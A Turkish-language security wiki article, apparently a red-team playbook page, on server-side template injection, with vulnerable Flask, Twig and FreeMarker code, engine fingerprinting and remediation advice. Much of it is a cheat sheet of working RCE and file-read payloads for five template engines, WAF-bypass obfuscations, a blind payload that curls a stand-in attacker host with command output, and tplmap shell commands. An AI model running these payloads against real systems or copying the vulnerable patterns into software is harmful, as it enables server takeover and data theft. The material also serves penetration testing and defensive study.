AltaySec Wiki Server-side Template Injection (SSTI)   ·   AltaySec Araştırmalar

Server-side Template Injection (SSTI)

root@altaysec:~# whoami
> Yazar: Sinem Çalışkan

Server-Side Template Injection (SSTI), modern web uygulamalarında içerik ile veriyi birbirinden ayırmak için kullanılan şablon motorlarının (Template Engines) güvensiz yapılandırılması veya kullanıcı girdilerinin doğrudan şablon dosyası içine katıştırılması sonucu ortaya çıkan kritik bir güvenlik zafiyetidir. Red Team operasyonlarında SSTI, sıklıkla bir "Silver Bullet" görevi görür; zira başarılı bir SSTI istismarı genellikle doğrudan Uzaktan Kod Çalıştırma (Remote Code Execution - RCE), yerel dosya okuma (LFI) ve sunucu tarafında tam sistem uzlaşısı ile sonuçlanır. Modern mimarilerde (Microservices, Dockerized environments, Serverless yapılar) SSTI, uygulamanın çalıştığı backend sisteminin kabuğuna (shell) erişim sağlayarak yatay hareket (lateral movement) ve veri sızdırma (data exfiltration) için bir köprü başı oluşturur.

How It Works (Teknik Analiz)

Şablon motorları (Jinja2, Twig, FreeMarker, Velocity vb.), statik HTML sayfalarını dinamik verilerle harmanlamak için tasarlanmıştır. Bu motorlar arka planda bir Abstract Syntax Tree (AST - Soyut Sözdizimi Ağacı) derleyicisi olarak çalışır. Geliştirici, şablona bir veri gönderdiğinde, şablon motoru bu metni kendi dengine (örneğin Jinja2 için Python bytecode, Twig için PHP opcode) derler ve çalıştırır.

Zafiyetin kök nedeni (Root Cause), kullanıcı girdisinin şablona bir "bağlam verisi" (context data) olarak aktarılmak yerine, "şablonun bizzat kendisi" (template string) olarak şablon fonksiyonuna verilmesidir.

Normal şartlarda şablon motoru {{ isim }} ifadesini gördüğünde isim değişkeninin değerini ekrana basar. Ancak kullanıcı girdisi doğrudan şablon metni olarak işlendiğinde, saldırgan {{ 7 * 7 }} gibi bir payload gönderdiğinde, şablon motoru bunu AST aşamasında geçerli bir ifade olarak derler, işletim seviyesinde (Memory & Runtime) hesaplar ve 49 sonucunu döndürür. Bu durum, şablon motorunun sunduğu sandbox ortamının veya varsayılan yeteneklerinin dışına çıkılarak, arka plandaki programlama dilinin (Python, PHP, Java, Ruby) yerleşik fonksiyonlarına (built-ins) erişim sağlanmasına yol açar.

Vulnerable Code Patterns

Python / Jinja2 (Flask) Zayıf Kod Deseni:

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def index():
    person = request.args.get('name', 'Guest')
    # KRİTİK HATA: Kullanıcı girdisi doğrudan şablon string'ine formatlanıyor
    template = '''
        <html>
          <head><title>Welcome</title></head>
          <body><h1>Hello %s!</h1></body>
        </html>
    ''' % person 
    return render_template_string(template) # Payload AST tarafından derlenip çalıştırılır

PHP / Twig Zayıf Kod Deseni:

require_once '../vendor/autoload.php';
$loader = new \Twig\Loader\ArrayLoader();
$twig = new \Twig\Environment($loader);

$name = $_GET['name'];
# KRİTİK HATA: Kullanıcı girdisinden dinamik olarak şablon oluşturuluyor
$template = $twig->createTemplate("Hello " . $name);
echo $template->render();

Java / FreeMarker Zayıf Kod Deseni:

String input = request.getParameter("name");
// KRİTİK HATA: Girdi doğrudan şablon okuyucusuna dahil ediliyor
Template t = new Template("name", new StringReader("Hello " + input), cfg);
Writer out = new StringWriter();
t.process(null, out);

Güvenli kullanımda şablon statik olmalı ve girdi sadece render fonksiyonuna parametre olarak geçilmelidir: render_template("index.html", name=person)

Detection & Enumeration (Keşif ve Analiz)

SSTI tespiti, manuel fuzzing, polyglot payload testleri ve uygulamanın döndürdüğü hata mesajlarının veya tepki sürelerinin analizine dayanır. PortSwigger metodolojisine göre keşif süreci "Detect" (Tespit) ve "Identify" (Kimlik Tespiti) olarak ikiye ayrılır.

Keşif (Detection) Payloadları

Aşağıdaki özel karakter dizileri, bir girdi noktasının şablon motoru tarafından derlenip derlenmediğini test etmek için kullanılır:

Kimlik Tespiti (Identify - The Decision Tree)

Zafiyet tespit edildikten sonra hangi motorun kullanıldığını bulmak esastır. {{7*7}} payload'u 49 döndürüyorsa, bu Twig veya Jinja2 olabilir. Ayrım yapmak için:

  1. {{7*'7'}} gönderilir.
  2. Eğer sonuç 49 ise: Motor Twig'dir (PHP zımni tür dönüşümü yapar).
  3. Eğer sonuç 7777777 ise: Motor Jinja2'dir (Python string çoğaltması yapar).

Eğer girdi ${7*7} şeklinde çalışıyorsa, motor büyük ihtimalle Java tabanlıdır (FreeMarker, Velocity) veya JavaScript tabanlıdır (Pug/Jade). Geri dönen stack-trace'ler ve "Syntax Error" hataları, motorun imzasını (örn. freemarker.core.ParseException, jinja2.exceptions.TemplateSyntaxError) doğrudan ifşa eder.

Attack Vectors & Exploitation (İstismar Vektörleri)

SSTI zafiyetinin sömürülmesi, altta yatan motorun sunduğu dilin nesne yönelimli mimarisini (Object-Oriented Architecture) istismar etmeyi gerektirir.

Python - Jinja2 / Mako İstismarı

Python tabanlı motorlarda sömürü, Metot Çözümleme Sırası (Method Resolution Order - MRO) ve Python'un sihirli metotları (magic methods) üzerinden yürütülür. Temel amaç, string ("") veya tuple (()) gibi temel bir nesneden yola çıkarak __class__ ile ait olduğu sınıfa, oradan __base__ veya __mro__ ile en tepe sınıf olan object sınıfına ulaşmaktır. object sınıfına ulaşıldıktan sonra __subclasses__() metodu çağrılarak bellekte o an yüklü olan tüm sınıfların bir listesi çekilir. Bu liste içinden işletim sistemi komutları çalıştırabilen subprocess.Popen, os._wrap_close veya dosya okuyabilen _io.FileIO gibi sınıflar bulunarak sömürü gerçekleştirilir.

PHP - Twig / Smarty İstismarı

PHP motorlarında sömürü genellikle ortam (environment) değişkenleri veya motorun sunduğu varsayılan filtreler üzerinden yapılır. Twig 1.x versiyonlarında _self.env üzerinden registerUndefinedFilterCallback kullanılarak sisteme komut enjekte edilebilir. Twig 3.x'te ise filter mapping fonksiyonları (örneğin map, reduce) ile sistem komutları tetiklenir. Smarty motorunda ise (eğer sınırlandırılmamışsa) doğrudan {php} tagleri veya {system('id')} gibi fonksiyon çağrıları mümkündür.

Java - FreeMarker / Velocity İstismarı

Java tabanlı şablon motorlarında amaç, Java'nın Reflection API'sini veya sınıf yükleyicilerini (ClassLoaders) kullanarak java.lang.Runtime nesnesine ulaşmaktır. FreeMarker'da ?new() built-in özelliği sayesinde freemarker.template.utility.Execute sınıfı başlatılarak doğrudan komut çalıştırılabilir. Velocity'de ise $class.inspect veya sınıf yolu dolaşımı (classpath traversal) ile Runtime.getRuntime().exec() tetiklenir.

DOM-Based / Client-Side Template Injection (CSTI)

Vue.js, AngularJS veya React gibi istemci tarafı framework'lerinin kullanıldığı durumlarda, kullanıcı girdisi istemci tarafında şablon olarak işlenirse CSTI oluşur. Bu, RCE'den ziyade gelişmiş bir Cross-Site Scripting (XSS) varyasyonudur. Örneğin AngularJS'de {{constructor.constructor('alert(1)')()}} payload'u tarayıcı tarafında JavaScript kod çalıştırmasına sebep olur.

Payloads & Advanced Commands

Aşağıda farklı platformlar ve şablon motorları için hazırlanmış, sahada doğrulanmış ileri düzey payload örnekleri bulunmaktadır.

Jinja2 (Python) Payloads

# MRO Subclass bulma ve Popen ile komut çalıştırma (Subclass index numarası ortama göre değişir, genelde 400 civarıdır)
{{ ''.__class__.__base__.__subclasses__()[414]('id', shell=True, stdout=-1).communicate()[0].strip() }}

# os._wrap_close üzerinden RCE (Index 132 örnek olarak verilmiştir)
{{ [].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /etc/passwd').read() }}

# config nesnesi üzerinden Built-in fonksiyonları yakalama (OS module RCE)
{{ config.__class__.__init__.__globals__['os'].popen('ls -la').read() }}

# LFI - Yerel Dosya Okuma
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

# Flask uygulamasının Secret Key'ini okuma (Cookie sahteciliği için kritik)
{{ config.items() }}
{{ self.__dict__ }}

Twig (PHP) Payloads

# Twig 1.x / 2.x RCE
{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}

# Twig 3.x RCE (Arrow Functions & Map filter bypass)
{{ ["id"] | map("system") | join(",") }}
{{ ["id"] | map("passthru") | join(",") }}

# Twig 3.x Dosya Okuma
{{ "/etc/passwd" | file_excerpt(1,30) }}

# Gelişmiş Komut Çalıştırma (Argümanlı komutlar için)
{{ ["cat /etc/passwd"] | map("system") | join(",") }}

FreeMarker (Java) Payloads

# Execute sınıfı ile standart RCE
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

# ObjectWrapper Bypass ve API kullanarak komut çalıştırma
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("java.lang.Runtime")> 
<#assign field=clazz.getField("currentRuntime")> 
<#assign runtime=field.get(clazz)> 
${runtime.exec("id")}

# Dosya Okuma (File)
<#assign is=object?api.class.getResourceAsStream("/etc/passwd")>

Velocity (Java) Payloads

# Runtime sınıfı çağırarak RCE
#set($engine="")
#set($run=$engine.getClass().forName("java.lang.Runtime").getRuntime())
$run.exec("whoami")

# İşletim sistemi komut çıktısını ekrana yazdırma (InputStream Reader)
#set($str="")
#set($chr=$str.getClass().forName("java.lang.Character"))
#set($sys=$str.getClass().forName("java.lang.Runtime").getRuntime().exec("ls -la"))
#set($in=$sys.getInputStream())
#set($res="")
#foreach($i in [1..$in.available()])
  #set($res=$res + $chr.toString($in.read()))
#end
$res

Smarty (PHP) Payloads

# Eski sürüm (Eğer {php} tag'i kısıtlanmamışsa)
{php}echo `id`;{/php}

# Modern versiyonlarda math fonksiyonu sömürüsü
{math equation="x*y" x=1 y="system('id')"}

# Smarty içindeki system değişkenleri
{$smarty.version}
{system('cat /etc/passwd')}

Bypass & Obfuscation (Atlatma Teknikleri)

WAF (Web Application Firewall) ve IDS/IPS sistemleri genellikle __class__, __subclasses__, system, exec gibi tehlikeli anahtar kelimeleri ve . (nokta), _ (alt çizgi), [ (köşeli parantez) gibi karakterleri engeller. Bu filtreleri aşmak için gelişmiş teknikler uygulanır.

String Katıştırma ve Hex/Unicode Kodlama

Eğer class veya subclasses engellenmişse, string'ler parçalanabilir veya formatlanabilir.

# Jinja2: request ve attr filtresi ile underscore (_) bypass
{{ request|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')() }}

# Hex Encoding + String Katıştırma
{{ ()['__cl'+'ass__'].__base__['__subcla'+'sses__']() }}

# Jinja2'de format kullanarak kelime filtrelerini atlatma
{{ "{0}{1}class{1}{0}".format("_", "_") }}

Nokta (.) Filtresi Bypass (Jinja2)

Eğer . karakteri filtrelenmişse, köşeli parantez veya |attr fonksiyonu kullanılabilir.

# Nokta engellendiğinde köşeli parantez kullanımı
{{ ()['__class__']['__base__']['__subclasses__']() }}

# Köşeli parantez de engelliyse attr() filtresi
{{ ()|attr('__class__')|attr('__base__')|attr('__subclasses__')() }}

GET / POST Parametrelerinden Payload Çekme

WAF doğrudan şablon gövdesindeki komutları engelliyorsa, zararlı komut bir HTTP parametresi olarak taşınır ve şablon içinde request nesnesi üzerinden çağrılır.

# Jinja2 - Komutu GET parametresi olarak verme (örn: ?cmd=id)
{{ request.application.__globals__.__builtins__.__import__('os').popen(request.args.cmd).read() }}

Blind SSTI ve Time-Based Çıkarım

Hedef sistem komutun çıktısını HTTP yanıtında döndürmüyorsa (Blind SSTI), Out-of-Band (OOB) veya zaman tabanlı sömürü yapılmalıdır.

# Jinja2 - Zaman tabanlı (Eğer sunucu 5 saniye beklerse RCE başarılı demektir)
{% for i in range(100000000) %}{% endfor %}

# Jinja2 - Curl ile Burp Collaborator'a (OOB) DNS isteği gönderme
{{ classes[132].__init__.__globals__['popen']('curl [http://saldilgan-sunucusu.com/](http://saldilgan-sunucusu.com/)`whoami`').read() }}

Remediation & Prevention (Önleme ve Savunma)

SSTI zafiyetini kökünden çözmek için mimari ve kodlama seviyesinde alınması gereken sıkı önlemler şunlardır:

  1. Logic Separation (Mantıksal Ayrım): Kullanıcıdan alınan girdiler ASLA doğrudan şablon metni (template string) olarak derlenmemelidir. Girdiler şablon motoruna bir "bağlam" (context/environment) değişkeni olarak aktarılmalı, veri ile kod (şablon tag'leri) kesin bir şekilde birbirinden izole edilmelidir.
  2. Sandboxing (Korumalı Alan Kullanımı): Şablon motorunun sunduğu sandbox özellikleri zorunlu olarak aktifleştirilmelidir. Örneğin Jinja2 için SandboxedEnvironment kullanılmalı; Twig için Sandbox Extension aktif edilerek, kullanıcıların yalnızca belirli güvenli etiketleri, filtreleri ve fonksiyonları (whitelist yaklaşımı) çağırmasına izin verilmelidir.
  3. Hassas Metotların İptali: Java veya PHP tabanlı motorlarda şablon ortamının dışına çıkmayı sağlayan getClass(), Runtime, system(), exec() gibi built-in fonksiyonların ve sınıfların şablon motoru konfigürasyonundan tamamen kaldırılması veya engellenmesi gereklidir.
  4. Least Privilege (En Az Yetki Prensibi): Web uygulamasını çalıştıran servis (örneğin www-data veya kısıtlı bir docker kullanıcısı), işletim sistemi seviyesinde en az yetkiye sahip olmalıdır. Böylece olası bir RCE durumunda sistemin tamamının ele geçirilmesi (privilege escalation) zorlaştırılır.

Common Tools & Frameworks

Araç Fonksiyon Komut Örneği
Tplmap Otomatik SSTI tespiti ve sömürüsü, RCE/Reverse Shell alma. python2 tplmap.py -u "http://target.com/page?name=John" --os-shell
Burp Suite (SSTI Scanner) Aktif tarama esnasında gelişmiş polyglot payload'lar ile SSTI tespiti. Manuel eklenti veya Burp Pro Active Scan üzerinden çalıştırılır
Fenrir WAF atlatma yeteneklerine sahip yeni nesil SSTI exploit aracı. fenrir -u "http://target.com/?q=INJECT_HERE" --exploit
SSTI Payload Generator Belirli filtrelere göre otomatik encode edilmiş payload oluşturucu scriptler. python ssti_payload_gen.py --engine jinja2 --cmd "id" --bypass-dot
PayloadsAllTheThings Referans arşivi. Otomasyon aracı değildir, cheat sheet sağlar. curl -s https://raw.githubusercontent.com/.../SSTI.md

Yazar: Sinem Çalışkan · AltaySec Wiki — Türkçe güvenlik playbook'u.

← Tüm modüller (interaktif wiki) · Yapay zekâ güvenliği araştırmaları · AltaySec Arşiv